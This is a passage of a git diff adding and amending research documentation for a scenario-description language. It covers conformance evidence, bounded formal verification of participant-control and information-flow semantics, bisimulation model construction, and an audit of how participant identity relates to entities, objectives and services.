`RuntimeServiceListener` | [runtime_listeners.py](../../../implementations/python/packages/raes/runtime_listeners.py) | P: `service_listener_id`, `description`; C: `scope`; B: `service`, `address`, `port`, `protocol`, `address_family`, `bind_interface`, `socket_path`, `process_ref`, `published_port_refs`; O: `process_name`, `readiness`, `provenance`, `evidence_refs` | +| `RuntimeSshServer` | [runtime_ssh_server.py](../../../implementations/python/packages/raes/runtime_ssh_server.py) | P: `description`, `ssh_server_id`; B: `service`; A: `forced_command`, `accept_env`, `allow_users`, `deny_users`, `allow_groups`, `deny_groups`, `authentication_methods`, `password_authentication`, `pubkey_authentication`, `permit_tty`, `chroot_directory`, `authorized_keys_file`, `match_rules` | +| `ServiceManagerUnit` | [runtime_service_units.py](../../../implementations/python/packages/raes/runtime_service_units.py) | P: `unit_id`, `description`; C: `exec_start`; B: `service`; N: `manager_kind`, `unit_name`, `unit_type`; O: `load_state`, `active_state`, `sub_state`, `enabled_state`, `result`, `exit_code`, `status_text`, `main_pid`, `unit_file_path` | +| `ServiceUnitExecStart` | [runtime_service_units.py](../../../implementations/python/packages/raes/runtime_service_units.py) | P: `description`; C: `command_kind`, `command`; A: `command_redacted` | +| `SshForcedCommand` | [runtime_ssh_server.py](../../../implementations/python/packages/raes/runtime_ssh_server.py) | P: `description`; A: `command_kind`, `command`, `command_redacted` | +| `SshMatchCriterion` | [runtime_ssh_server.py](../../../implementations/python/packages/raes/runtime_ssh_server.py) | P: `kind`; A: `pattern` | +| `SshMatchRule` | [runtime_ssh_server.py](../../../implementations/python/packages/raes/runtime_ssh_server.py) | P: `description`, `match_id`; A: `forced_command`, `accept_env`, `allow_users`, `deny_users`, `allow_groups`, `deny_groups`, `authentication_methods`, `password_authentication`, `pubkey_authentication`, `permit_tty`, `chroot_directory`, `authorized_keys_file`, `criteria` | diff --git a/docs/research/language-extensibility/progressive-conformance-evidence.md b/docs/research/language-extensibility/progressive-conformance-evidence.md new file mode 100644 index 000000000..4d4175c5d --- /dev/null +++ b/docs/research/language-extensibility/progressive-conformance-evidence.md @@ -0,0 +1,38 @@ +# Progressive specification conformance evidence + +Issue #1211 closes the integrated verification work package from the +[remediation plan](remediation-plan.md). This record is an evidence map, not a +new semantic catalog or backend certification. + +## Integrated anchors + +| Anchor | Evidence | Boundary outcome | +| --- | --- | --- | +| Five Linux boxes and private identities | `progressive-conformance.yaml`; `test_issue_1211_progressive_conformance.py` | The same ordinary YAML passes parsing, instantiation, compilation, planning, backend-result validation, atomic persistence, recovery and canonical round trip without a central product list. | +| Kali refinement ladder and exact siblings | `test_issue_1205_kali_ladder.py`; the #1211 open-parent assertion | Exact distribution/tool leaves remain binding while omitted release and configuration detail stays delegated. | +| Complete abstract two-computer/three-action model | `test_issue_1203_recursive_normal_form.py`; the #1211 abstract-model assertion | Completeness does not invent OS, image, package or observation requirements. | +| Private acquisition and HTTP identity | `test_issue_1298_http_method_identity.py`; the private node in the #1211 fixture | Private case-sensitive wire identities survive the lifecycle without granting execution authority or creating observation demand. | +| Detail crossed with observation lifecycle | the #1211 rejecting observation-runtime assertion; `test_issue_1212_observation_demand.py`; `test_issue_1212_runtime_boundaries.py` | Exact realization detail alone invokes no reporting, collection, retention or export; selected lifecycle stages remain independent, failed admission precedes collection and forbidden values are absent from persistence. | +| Supported completion versus universal capability | `test_issue_1200_mixed_runtime_constraints.py` | A selected supported completion may succeed while genuinely universal and under-observed requirements still fail. | +| Bounds and negative mutations | `test_issue_1211_progressive_conformance.py`; parser, recursive-limit and capture-admission suites | Invalid source identity and resource exhaustion stop at their owning boundary; a well-shaped runtime result that changes a private method identity is rejected without snapshot or durable-result side effects. | +| Candidate/disposition prevention | `product-semantics-audit.md`; `product-semantics-fields.md`; `test_issue_959_audit_coverage.py`; the runtime semantic review checklist | The census detects drift; human dispositions retain ownership, closure rationale, private/partial cases and admission behavior. | + +## Released journey coordination + +[env-packs #312](https://github.com/OpenRAE/env-packs/issues/312) is closed with +merged pack validation and released journey evidence. It retains backend-owned +software acquisition, placement and observation methods while consuming RAE's +declaration semantics. [OpenRAE/hub #3](https://github.com/OpenRAE/hub/issues/3) +remains the product journey owner and points to its M0 protocol for acceptance. +These external records are coordinated evidence: the hermetic RAE suite does +not impersonate native pack or backend execution. + +## Prevention conclusion + +The rejected tendency is backend recipes or captured specimens becoming +compulsory author detail, compulsory extension catalogs, or unconditional +evidence obligations. The integrated evidence keeps open parents delegating +unspecified descendants, preserves exact constraints, admits private identities +through their owning grammar, and demands capture only when independently +requested. Adding another backend or domain case extends the fixture/manifest +and observation-demand seams rather than a core product enumeration. diff --git a/docs/research/language-extensibility/scope-inventory.md b/docs/research/language-extensibility/scope-inventory.md index c0019a370..2ce7d4aa2 100644 --- a/docs/research/language-extensibility/scope-inventory.md +++ b/docs/research/language-extensibility/scope-inventory.md @@ -5,6 +5,14 @@ This inventory separates confirmed mechanisms, affected domain families, retaine closed sets, existing fixes, and follow-up checks. It is not a claim that every field in an affected family is defective. +The [2026-09-16 product-semantics audit](product-semantics-audit.md) supplies +issue #959's current family dispositions, specimen/lineage trace, reproduced +counterexamples, focused correction issues and prevention checklist. Its +[field ledger](product-semantics-fields.md) classifies all recursively reachable +fields of the 17 registered families plus service-manager units. Read that +supplement for current status; the baseline findings and #1206 implementation +record below retain their original dates and claim boundaries. + The 2026-09-05 [design-intent clarification](design-intent.md) applies to every row: representability is not mandatory authoring or collection; open scopes delegate descendants; exact children stay binding; abstract models need no diff --git a/docs/research/modular-participant-control/semantic-verification.md b/docs/research/modular-participant-control/semantic-verification.md new file mode 100644 index 000000000..744a36277 --- /dev/null +++ b/docs/research/modular-participant-control/semantic-verification.md @@ -0,0 +1,135 @@ +# SEM-235 revision 1: semantic verification + +Publication cut: 2026-09-20, issue #1070. Authority: +[`sem-235/rev1`](../../../specs/formal/participant-semantics/modular-participant-control.md). +Architecture lineage: ADR-108 and PC-01–PC-15 at accepted revision +`ebb70a34b8e7d1cc8964c443841ae57e12ed1014`. This record supplements the historical +#1068 design evidence; it does not retrospectively publish those research files. + +## Worked publication cases + +### A — Teaching influence and a governed inject + +Select teaching-influence/rev1, mandatory propagation and session-budget +decision slots, and the admitted hint-followup/1 rule. At K0, H carries +{coached-hint}, retained M carries {worked-example}, and fresh P carries their +union with both source identities. A new episode with retained memory keeps +that union. Both fact and budget slots satisfy their own types; the practice +sink and incumbent gates permit P. Advice cannot supply either mandatory slot. + +The rule requests a subsequent reflection-prompt inject. Its own known source +label {} joins P's control influence, yielding both tokens on fresh occurrence +I. At K1, separately resolve teaching authority, addressee, audience projection, +capability and crossing gates, commit its claim and then dispatch. Delivery and +observation remain separately recorded. The reflection may influence a later +proposal; neither a clean prompt source nor reset erases the triggering history. + +One firing per root, two total effects, depth two and finite retry/expiry +bounds stop self-triggering. Retry preserves I and the root. A missing source +is unknown, not {}; an exhausted mandatory effect cannot become permission. + +### B — Intentional adversarial exposure under SEM-233 + +Select the unchanged sem-233/rev1 product and its published security-profile +identity. At K0, known declared attacker source A has Conf(A) = {} and +Int(A) = {attacker-influence}. Its observation sink explicitly satisfies that +integrity obligation. After ordinary exact-cut admission and commit, A is +delivered; this is exposure without endorsement. M and fresh P retain that +influence and source lineage. A later action sink accepting no attacker +obligation rejects P even if resource and capability mechanisms permit it. + +An admitted adversarial-exposure/1 rule consumes the known influence fact and +requests a fresh evaluator inject. At K1, its supervisor-only projection and +supervisory authority are independently admitted before commit/dispatch. A +subject-facing projection that reveals a hidden condition is withheld; the +supervisor receipt cannot authorize it. Missing labels/source evidence still +fail the incumbent SEM-233 sink predicate. Neither a permissive observation +policy nor a monitor permit discharges an integrity obligation. + +The attack is in the admitted world. Replacing the actual tracking engine +outside that world is failed/invalid backend realization, not another portable +attacker occurrence. The finite witness does not instrument that host boundary. + +### C–G — Composition counterexamples and recovery + +The accepted cases C–G retain their meaning at this publication revision: + +| Case | Positive interpretation | Rejected counterexample | +| --- | --- | --- | +| C, advice and review | Optional monitor failure records lost advice; a mandatory assessment slot can feed an admitted review rule. Approval satisfies the predecessor, then parent gates rerun. | Advisory permit overrides mandatory deny; missing required assessment permits release. | +| D, security/capability/budget | All mandatory constraints conjoin; declassification and endorsement affect only their own coordinates and fresh results. | Capability permission erases security refusal; edit/handoff launders influence. | +| E, corrections and resources | Ordered transformations use fresh subjects; delays [10,20] and [15,25] intersect at [15,20]. | Two routes win by arrival order; transforms of the same original compete; disjoint windows pass; shutdown precedes a required live operation. | +| F, stale/restart | Failed expected-head commit makes no claim/call. Same-key replay preserves occurrence identity; changed intent conflicts. Uncertain dispatch stays indeterminate until readback. | New K or retry creates a second effect; commit is reported as delivery; an uncertain non-idempotent call repeats blindly. | +| G, admitted live world | Quota/review are separate prerequisites, target and clock revalidate, backend readback supports realization. | An external credential compromise is relabeled as a successful in-world attack; local persistence proves exactly-once external delivery. | + +## Executable evidence and assumptions + +Run the finite witnesses and incumbent algebra/projection tests with: + +```bash +RAES_REQUIREMENT_UID=SEM-235 implementations/python/.venv/bin/python -m pytest -q \ + implementations/python/tests/test_sem_235_modular_control.py \ + implementations/python/tests/test_sem_235_governance.py \ + implementations/python/tests/test_sem_230_information_flow_control.py \ + implementations/python/tests/test_sem_233_adversarial_boundary_flow.py +``` + +The new oracle is +[`sem235_modular_control_model.py`](../../../implementations/python/tests/sem235_modular_control_model.py), +used only by tests. It enumerates all 64 triples in the four-element teaching +carrier; mandatory failure statuses and result permutations; selected typed +dependency failures and effect-plan conflicts; and root/depth/per-rule bounds +0–2 over four attempted causal firings. Tests include fresh derivations, +unchanged security sink predicates, symbolic inject claims/dispatch, failed +admission/commit, changed keys, replay and indeterminate/applied outcomes. + +This is bounded falsification, not model checking, provider conformance or a +proof of the full transition system. The model assumes trusted exact binding +resolution, authenticated owner results, finite symbolic refs, atomic immutable +states and a correct final invocation fence. It does not parse wire payloads, +run a provider, persist a store, execute a target or prove complete propagation. +It projects policy gates to owner results; real authority and evidence must +still be established by those owners. Effect ordering uses one symbolic rule +node per request in a plan. Cases with multiple slots of one rule require the +full slot-indexed relation of MPC-07 and are not modeled here. + +Full time/expiry and resolution-attempt accounting, shared-resource footprints, +predecessor scheduling, durable restart, readback proving absence, concurrent +commit/fence races, all-or-nothing transactions and diagnostic non-recursion +are normative obligations with worked counterexamples, not claimed executable +coverage of this model. Existing #1068 check_design.py supplies complementary +bounded reducer/trigger exploration. API-424/#1072, RUN-320/#1069 and +ASR-538/#1071 own the separate contract, runtime and independent conformance +evidence. No finite result promotes those DRAFT requirements. + +## Clause and acceptance map + +Every MPC-nn corresponds to PC-nn at the accepted design revision. + +| Requirement / acceptance | Formal authority | Evidence and boundary | +| --- | --- | --- | +| SEM-235 exact revisioned profiles, selection and result kinds | MPC-01–03 | Typed-slot/dependency witnesses; trusted binding resolution assumption. | +| SEM-235 closed IFC domain, order, joins, sources and defaults | MPC-04 | Four-element teaching algebra and unknown-source cases; incumbent SEM-233 tests. | +| SEM-235 propagation, memory and explicit release authority | MPC-04/08 | Fresh derivation and retained-memory counterexamples; SEM-233 coordinate-release tests. | +| SEM-235 finite mechanisms, roles, DAG, conjunction and conflicts | MPC-05–07 | Status/permutation/type/dependency tests and route, replacement, delay, lifecycle conflicts. | +| SEM-235 missing/unknown/unsupported/stale/weakened/failure states | MPC-03/06 | Mandatory state matrix and optional advice cases; no silent fallback. | +| SEM-235 independently authorized typed effects | MPC-08/09 | Owner table, cases A–G, refused symbolic inject admission and SEM-230 projection. | +| SEM-235 exact cuts, fresh identity, provenance and visibility | MPC-03/04/08/10 | Fresh derivation, stale cut and failed commit witnesses, cases A/B/F. | +| SEM-235 ordinary downstream admission, idempotency, finite budgets | MPC-10–12 | Re-entry refusal, replay/content conflict, uncertainty and finite causal chain tests. | +| SEM-235 SEM-233 compatibility and backend integrity boundary | MPC-04/14 | Unchanged security model, case B, explicit realization nonclaims. | +| SEM-230 input admission, output projection, disclosure/declassification and transformation | MPC-04/08/09 | Incumbent information-flow-control.md and its tests; new supervisor-only inject projection. | +| SEM-230 observable/hidden labels, policy change, noninterference relation boundary | MPC-03/08/13 | Incumbent exact-cut projection and memory/strategy relation tests; no new universal claim. | +| SEM-233 independent coordinates and conservative carriage across observations, memory, proposals, arguments, transforms, handoffs, crossings, outputs/sinks | MPC-04 | Existing sem-233/rev1 remains normative; unchanged incumbent algebra/carriage tests plus case B. | +| SEM-233 distinct authentication, authorization, admission, approval, releases, redaction and transformation | MPC-08/09 | Existing independent gate/release tests; typed effect authority counterexamples. | +| SEM-233 exact-cut final-sink mediation including cross-participant/episode flows | MPC-04/10 | Existing sink/carry tests plus stale/fenced symbolic dispatch. No new runtime claim. | +| Issue: security and non-security profiles end to end | MPC-04/15 | Cases A/B and their symbolic witnesses. | +| Issue: intentionally deliver adversarial input, retain influence, govern inject | MPC-04/08–11 | Case B, security sink witness, supervisor projection and independent inject admission. | +| Issue: multiple mechanisms with mandatory/advisory/conflict rules | MPC-05–07 | Cases C–E and typed composition/effect tests. | +| Issue: fresh transform/inject with no implicit authority | MPC-04/08–11 | Derivation freshness, transformed sink refusal and inject claim tests. | +| Issue: all absence and weakening states explicit | MPC-03/06 | State table and tests; unresolved applicability differs from false applicability. | +| Issue: revisioned clauses, concepts, lineage, examples, counterexamples, nonclaims | MPC-15 | Approved concept placement; current lineage ledger/prose; this revisioned record; existing policy consumers. | + +SEM-235 proposes ACTIVE for semantic fulfillment in the delivery diff. +SEM-230 and SEM-233 retain their ACTIVE statements and incumbent fulfillment. +Repository ownership tests exercise the real policy evaluator and reject +runtime implementation under SEM-235's semantic-publication phase. diff --git a/docs/research/participant-bisimulation/candidate-comparison.md b/docs/research/participant-bisimulation/candidate-comparison.md index a57a98384..747040c23 100644 --- a/docs/research/participant-bisimulation/candidate-comparison.md +++ b/docs/research/participant-bisimulation/candidate-comparison.md @@ -1,5 +1,8 @@ # Participant Bisimulation Candidate Comparison +Historical #811 assessment. ADR-100’s #971 amendment selects the +[executable rev2 target](theorem-selection.md) for downstream work. + Date: 2026-07-29 Every candidate is evaluated against the same minimum surface: explicit state diff --git a/docs/research/participant-bisimulation/current-state-assessment.md b/docs/research/participant-bisimulation/current-state-assessment.md index f5bb0f0cd..bf2a84f8f 100644 --- a/docs/research/participant-bisimulation/current-state-assessment.md +++ b/docs/research/participant-bisimulation/current-state-assessment.md @@ -1,5 +1,8 @@ # Participant Bisimulation Current-State Assessment +Historical #811 assessment. ADR-100’s #971 amendment selects the +[executable rev2 target](theorem-selection.md) for downstream work. + Date: 2026-07-29 Parent issue: [#811](https://github.com/OpenRAE/rae/issues/811). diff --git a/docs/research/participant-bisimulation/implementation-program.json b/docs/research/participant-bisimulation/implementation-program.json index 0a128233c..b781a9ec7 100644 --- a/docs/research/participant-bisimulation/implementation-program.json +++ b/docs/research/participant-bisimulation/implementation-program.json @@ -51,8 +51,8 @@ }, { "id": "abstract-crossing-vs-concrete-crossing-kernel", - "left_carrier": "Complete reachable finite sem-230-participant-crossing-abstract@rev1 LTS.", - "right_carrier": "Independently derived complete reachable finite api-423-run-319-crossing-kernel@rev1 LTS.", + "left_carrier": "Complete reachable finite sem-230-participant-crossing-abstract@rev2 LTS.", + "right_carrier": "Independently derived complete reachable finite api-423-run-319-crossing-kernel@rev2 LTS.", "state_space": "Closed singleton participant, audience, controller, episode, and request domains; two policy cuts; five input classes; finite decision, delivery, history, replay, and stage coordinates.", "initial_relation": "The profile idle p0 states are related; the candidate witness family is induced by the concrete-to-abstract semantic abstraction.", "transitions_and_enabledness": "Closed request, policy decision, transform/declassify, delivery/observation, cut-advance, and replay schemas plus finite concrete mediation stages.", @@ -94,7 +94,7 @@ ], "theorem_profile": { "profile_id": "participant-crossing-dpbb-finite-v1", - "profile_revision": "rev1", + "profile_revision": "rev2", "relation_id": "divergence-preserving-branching-bisimulation", "taxonomy_ref": "raes-behavioral-relations@rev8", "projection_ref": "participant-crossing-projection@rev1", @@ -115,8 +115,8 @@ }, "left_model": { "model_id": "sem-230-participant-crossing-abstract", - "revision": "rev1", - "authority": "specs/formal/participant-semantics/participant-crossing-bisimulation.md#abstract-states", + "revision": "rev2", + "authority": "specs/formal/participant-semantics/participant-crossing-models.md#abstract-rules", "transition_source": "SEM-230 abstract crossing transition schemas", "independent_construction": true, "state_coordinates": ["phase", "policy_cut", "pending_request", "decision", "delivery", "last_result"], @@ -126,8 +126,8 @@ }, "right_model": { "model_id": "api-423-run-319-crossing-kernel", - "revision": "rev1", - "authority": "specs/formal/participant-semantics/participant-crossing-bisimulation.md#concrete-states", + "revision": "rev2", + "authority": "specs/formal/participant-semantics/participant-crossing-models.md#concrete-rules", "transition_source": "independently reviewed API-423/RUN-319 crossing-stage transition schemas", "independent_construction": true, "state_coordinates": ["phase", "policy_cut", "intent", "gate", "capability", "decision", "delivery", "history_head", "last_result"], diff --git a/docs/research/participant-bisimulation/index.md b/docs/research/participant-bisimulation/index.md index 920c7e9c0..d8ef7cb70 100644 --- a/docs/research/participant-bisimulation/index.md +++ b/docs/research/participant-bisimulation/index.md @@ -7,6 +7,8 @@ downstream. This delivery defines the target and program. It does not claim the result. - [Architecture preflight](../../decisions/issue-811-participant-bisimulation-preflight.md) +- [Independent model preflight (#971)](../../decisions/issue-971-participant-crossing-models-preflight.md) +- [Executable model construction (#971)](model-construction.md) - [ADR-100](../../decisions/adrs/adr-100-participant-crossing-bisimulation.md) - [Current-state assessment](current-state-assessment.md) - [Candidate comparison](candidate-comparison.md) diff --git a/docs/research/participant-bisimulation/model-construction.md b/docs/research/participant-bisimulation/model-construction.md new file mode 100644 index 000000000..cfa4abe35 --- /dev/null +++ b/docs/research/participant-bisimulation/model-construction.md @@ -0,0 +1,104 @@ +# Independent Crossing Model Construction + +Issue: [#971](https://github.com/OpenRAE/rae/issues/971). + +The executable profile is `participant-crossing-dpbb-finite-v1@rev2`. +It covers one fresh operation and its retries. It does not change runtime retry +behavior, require scenario annotations, or run a checker on participant requests. +[Multiple operations](https://github.com/OpenRAE/rae/issues/1395) require their +own profile. The [formal rules](../../../specs/formal/participant-semantics/participant-crossing-models.md) +resolve the original design's request reuse, head exhaustion, decision/change +ordering and crossing-completion ambiguities. The user approved this scope. + +## Construction evidence + +| Model | States | Transitions | Initial states | +| --- | ---: | ---: | ---: | +| SEM-230 abstract, rev2 | 88 | 107 | 1 | +| API-423/RUN-319 concrete kernel, rev2 | 178 | 197 | 1 | + +Both are complete reachable fixed points, not depth-limited samples. The +[manifest](../../../specs/formal/participant-semantics/crossing-models/rev2/manifest.json) +records domain counts, initial coordinates, source/profile/catalog identities +and artifact digests. Each model has an AUT graph and a canonical JSON state +map retaining the original hidden label classes. The only checker tau name is +`internal`; no native tau encoding is accepted. + +The complete base domains have cardinalities participant=1, audience=1, +controller=1, episode=1, request=1, policy-cut=2, input=5, decision=6, replay=3, +delivery=4 and history-head=4. Intent has 31 ambient values (none plus the +request/input/cut/replay product); last has 13 (none plus request/cut/decision). +Abstract phase has 5 values; concrete phase has 9, gate and capability each 3. +Reachability removes inconsistent products. h2/h3 are declared but unreachable +because only one fresh logical result can commit. No history counter saturates. + +## Independent construction review + +| Boundary | Abstract authority | Concrete authority | +| --- | --- | --- | +| Decision | Own total cut/input policy table | Own deny-first gate and capability branches | +| Completion | Visible decision or observation records the abstract result | Prepare then atomic commit, followed by delivery/observation where applicable | +| Retry | Recorded abstract result; later-cut rejection | Intent/cut validation and reuse of durable result; no second commit | +| Exploration | Deque-based reachable closure | Separate cursor/worklist closure | + +The model modules import only the shared closed input vocabulary, dataclass/ +collection plumbing and inert graph storage. Neither imports the other, a +shared policy oracle, runtime executable code, or the candidate equivalence +witness. The exporter checks static dependencies, source identities and +transition ownership. These mechanical checks support source review; hashes +alone do not establish independent derivation. + +The concrete source inventory names API-423 occurrence/context validation and +RUN-319 gate, mediation, record, commit, history-head, boundary, egress and store +files. Their hashes detect changes requiring renewed mapping review. This +model does not claim to include every live gate, transformed-ingress +revalidation, crash state or backend interaction. The synchronized runtime's +mixed-effect serialization and stage-readback failure states are also outside +this single-operation model. #972 must establish the +mapping for a selected runtime configuration. An exact retry returns the +original runtime receipt without executing the action again; model outcome +observations must not be interpreted as a second effect. Runtime history can +advance without a policy revision change; that interaction belongs to #1395. + +## Reproduce and check + +From a checkout of the delivery revision, use its frozen Python environment: + +```sh +PYTHONPATH=implementations/python/packages uv run --project implementations/python --frozen \ + python -m implementations.formal.participant_crossing +``` + +The default command reconstructs both graphs and compares all retained bundle +bytes and digests. It does not update expectations. To create the bundle in a +clean checkout where the output directory is absent, pass `--write`. Publication +validates all inputs and builds all files before a single directory rename. +An existing identical bundle is accepted; an existing changed bundle is refused. +Model changes require reviewed source/profile identities and a new published +revision. The first delivery's source identity is a SHA-256 commitment to the +exact source inventory, avoiding a self-referential Git commit hash. + +No network, checker executable, credentials or environment-selected model is +used by export. `PYTHONPATH` selects the checkout's installed source packages; +it does not select policy behavior. The input domains are fixed by the profile. +Malformed JSON, special files, symlinks, oversized inputs, unknown labels, +truncated models, shared transition authorities and digest drift fail closed. +CLI failures use a fixed message without rejected input or host paths. + +## Contract compatibility and assurance + +The draft `behavioral-relation-profile/v1` schema adds a discriminated binary +profile variant. Existing opacity profile payloads and their canonical digests +retain their shape; old readers reject the new variant. No compatibility claim +is made for old readers consuming the new DPBB profile. The incumbent local-join +and claim-resolution invariants validate the new variant, including both +carriers. Existing opacity-only consumers reject it through their admission +and claim checks. Valid/invalid fixtures exercise the published schema and its +reference model, and the schema publication entry records the change. + +SEM-232 remains DRAFT: model construction is implemented, while its conditional +equivalence result and independent reproduction are not established. SEM-230, +API-423 and RUN-319 retain their existing ACTIVE contracts. This package adds +bounded formal representation and construction evidence, not new enforcement. +No equivalence, live-runtime realization, backend conformance, noninterference, +opacity, latency, probability, concurrency or controller-handoff result follows. diff --git a/docs/research/participant-bisimulation/theorem-selection.md b/docs/research/participant-bisimulation/theorem-selection.md index 76fc238e6..3175f1434 100644 --- a/docs/research/participant-bisimulation/theorem-selection.md +++ b/docs/research/participant-bisimulation/theorem-selection.md @@ -1,20 +1,22 @@ # Participant-Crossing Theorem And Profile Selection -Date: 2026-07-29 +Date: 2026-07-29. Amended by #971 on 2026-09-27 under ADR-100. ## Selected Statement The downstream proof obligation is to establish, for the complete reachable carrier of -`participant-crossing-dpbb-finite-v1@rev1`, the initial state of -`sem-230-participant-crossing-abstract@rev1` and the initial state of -`api-423-run-319-crossing-kernel@rev1` under +`participant-crossing-dpbb-finite-v1@rev2`, the initial state of +`sem-230-participant-crossing-abstract@rev2` and the initial state of +`api-423-run-319-crossing-kernel@rev2` under `participant-crossing-projection@rev1` satisfy relation id `divergence-preserving-branching-bisimulation`. The evidence boundary is that exact complete finite profile; this design does not report the result. -The normative state domains, transition schemas, policy table, label -partition, relation clauses, and abstraction map are in -[the formal specification](../../../specs/formal/participant-semantics/participant-crossing-bisimulation.md). +The executable domains, transition schemas, and completion semantics are in +[the rev2 model authority](../../../specs/formal/participant-semantics/participant-crossing-models.md). +The [original specification](../../../specs/formal/participant-semantics/participant-crossing-bisimulation.md) +retains the relation clauses and projection. Its candidate abstraction is +historical design input, not an established witness for the executable models. ## Why This Is A Final Finite Target diff --git a/docs/research/participant-identity/audit.md b/docs/research/participant-identity/audit.md new file mode 100644 index 000000000..87fd867a7 --- /dev/null +++ b/docs/research/participant-identity/audit.md @@ -0,0 +1,275 @@ +# Participant identity and actor/target audit + +Issue [#215](https://github.com/OpenRAE/rae/issues/215), reviewed 2026-09-21 +against `e4136a6e1f2fadc0fa174421532b91360aee0f73`. + +RAE already represents participants as actors and targetable declarations. Its +main weakness is the meaning of the relations around that identity: affiliation +is described as identity, objectives call organizations actors, reference +eligibility combines several purposes, and examples use several address spaces +without consistently explaining their joins. A parser accepting a reference +does not settle any of those questions. + +This audit delivers evidence and implementation ownership. It does not change +the language or establish ACT-613 as implemented. Read the +[source assessment](research.md), [reproducible evidence](evidence.md), and +[remediation ownership and dependency order](remediation-plan.md) together. +The [architecture preflight](../../decisions/issue-215-act-613-participant-identity-preflight.md) +records the repository boundaries used here. + +## Governing meaning + +The following constraints come from #215, rather than an imported definition +of agency. A participant is an **author-designated autonomous subject of the +scenario**. Authors choose sufficient autonomy and the identity boundary. +RAE neither sets an autonomy threshold nor decides what qualifies as an agent. +A harness, twenty tools, an LLM, and four deterministic actions can constitute +one participant. Their composition does not designate twenty-six participants. + +Participant semantics apply only to participants, including agents designated +as participants. Executability, a service interface, a target address, or an +implementation manifest does not establish participation. The same participant +can act and be acted upon. Its identity is distinct from affiliation, ownership, +assignment, resources, selected implementation, episode, and execution machinery. + +An abstract participant need not enumerate its components, host, service ports, +or implementation. This follows the issue's constraints and the repository's +[language-extensibility intent](../language-extensibility/design-intent.md). +Explicit refinements remain binding; selected execution and assurance claims +still need their actual prerequisites. + +## Current boundaries and findings + +Finding classes distinguish an observed defect, an unresolved design question, +and an intentional difference. A recommendation is an engineering judgment, +not evidence that its implementation already exists. + +### F1 — identity and affiliation are conflated in guidance + +**Established semantic/documentation inconsistency; owner P1.** +[Agent](../../../implementations/python/packages/raes/agents.py) requires a +nonempty `entity`, and [Entity](../../../implementations/python/packages/raes/entities.py) +describes organizations, teams, and people. ADR-020 §2 calls the relation +identity or alignment; the [Agents guide](../../explain/sdl/sections.md#agents) +says participant identity and role both come from it. But two different agent +keys referring to one entity compile into two participant identities (E1). +The binding cannot therefore mean identity equality. + +The separate compiled keys are useful existing behavior. The unresolved design +is what the mandatory entity relation means, including for a composite subject +with no relevant organizational affiliation. Requiring a synthetic organization +to express that subject adds authoring detail without supplying identity. +Entity hierarchy also does not constitute a participant component hierarchy. + +**Recommendation:** make the authored participant declaration the identity +boundary; distinguish optional affiliation/representation from that identity. +Retain existing entity-derived role behavior through an explicit compatibility +rule. P1 must settle role sourcing and objective assignment together before +changing fields. Do not infer membership, shared identity, delegated authority, +or identical observations merely from a shared entity. + +### F2 — objective ownership can masquerade as acting + +**Established semantic inconsistency; owner P1.** +[Objective](../../../implementations/python/packages/raes/objectives.py) requires +exactly one of `agent` and `entity`, describing both as who acts. +The [objective analyzer](../../../implementations/python/packages/raes/semantics/objective_semantics/_analysis.py) +emits the ACTOR reference kind for both. Only the agent path checks declared +actions. An entity-only scenario compiles `actor_type=entity` with zero +participant behaviors; an entity objective accepts an undeclared action label +that the participant objective rejects (E2). This proves differing treatment, +not unauthorized runtime execution. + +The [participant relationship validator](../../../implementations/python/packages/raes/validator/_participant_relationships.py) +also accepts an objective as belonging to an endpoint through its entity. +That can be legitimate organizational ownership, but does not establish that +the endpoint was assigned the objective or performed an action. + +**Recommendation:** separate objective owner/beneficiary, assignment, and +acting participant. An organization may own an objective without becoming a +participant. Acting requires a designated participant, possibly a participant +representing that organization. P1 must define action constraints on unassigned +organizational objectives and migration of legacy `entity` objectives; guessing +an actor from all participants sharing that entity is unacceptable. + +### F3 — four service meanings need an explicit relation boundary + +**Intentional separations, with an unresolved modeling question; owner P3.** + +| Surface | Current meaning | What it does not establish | +| --- | --- | --- | +| `nodes.*.services`, `ServicePort` | Authored node-local transport binding | Participant, live listener, traffic authority, or implementation identity | +| Authored `agents.*` plus autonomous behavior | Participant intent and policy | Selected implementation or its deployment | +| ADR-041 manifest/configuration/provenance | Apparatus that chooses or relays decisions | Another participant merely because it runs | +| ADR-092 execution binding and service readback | Action-to-native-target/implementation binding, generation and lifecycle | Participant-to-resource identity or automatic promotion of targets to participants | + +See [ServicePort](../../../implementations/python/packages/raes/nodes.py), +[ADR-041](../../decisions/adrs/adr-041-participant-implementation-manifest-and-provenance.md), +and [ADR-092 §§4–8](../../decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md). +Their separation is sound. A service becomes a participant through author +designation, not a port, process, deterministic scheduler, or implementation kind. + +Current generic `manages`, `depends_on`, and `uses_shared_service` relationships +cannot be assumed to mean that a resource realizes a participant. The inspected +surfaces do not specify a general participant/resource equivalence relation. +This is a design gap for the dual-role service task, not proof that a new +mandatory relation is needed for every participant. + +**Recommendation:** P3 first compare reuse of existing relations, optional +typed realization/representation relations, and no relation when the resource +detail is irrelevant. If a relation is needed, define direction, cardinality, +shared resources, and consequences of acting on it. Affecting one resource +does not automatically affect all participants using it, and targeting a +participant does not grant access to its implementation internals. + +### F4 — eligibility expands by exclusion and is reused across purposes + +**Established policy mechanism; design weakness requiring explicit policy; +owner P2.** +[`is_targetable_section`](../../../implementations/python/packages/raes/_reference_targetability.py) +returns true for any section outside nine exclusions. In +[`_add_section_declarations`](../../../implementations/python/packages/raes/_declarations.py), +this applies only after a section enters `_REFERENCEABLE_SECTIONS`. Special and +nested declarations can instead set `targetable=True` directly. It is incorrect +to claim that every new top-level section is automatically admitted. + +Adding a referenceable kind without an exclusion nevertheless extends all +consumers of the boolean without a purpose-specific decision. Current objective +targets accept participant, assertion, and proposition declarations (E3). +The last two are not proved intrinsically invalid: an objective can concern a +proposition, but that does not make it a native action target or authority scope. + +| Reference use | Observed rule | Required semantic distinction | +| --- | --- | --- | +| Objective targets | Generic targetable aliases | What the objective concerns, separate from who acts | +| Action interaction targets/shared-state refs | Generic targetable aliases, plus interaction checks | A peer/resource must fit the declared interaction; a shared-state ref must denote suitable state | +| Action effect targets | Contract/result and participant-visible-reference checks | An effect's declared object and visibility basis; neither arbitrary world access nor a generic identity alias | +| Generic relationship endpoints | Generic targetability, then subtype checks where present | Endpoint kinds depend on relation meaning | +| Participant relationship endpoints | Unambiguous agents only; distinct endpoints | Organizations/resources cannot gain participant semantics | +| Observation subjects | Proposition/observation-scope targetability, with boundary-specific checks | Observable information, subject, audience, and disclosure authority differ | +| Agent authority anchors | All referenceable named declarations | Basis cited in scenario meaning; no execution permission by itself | +| Behavior authority scopes | Generic targetability | 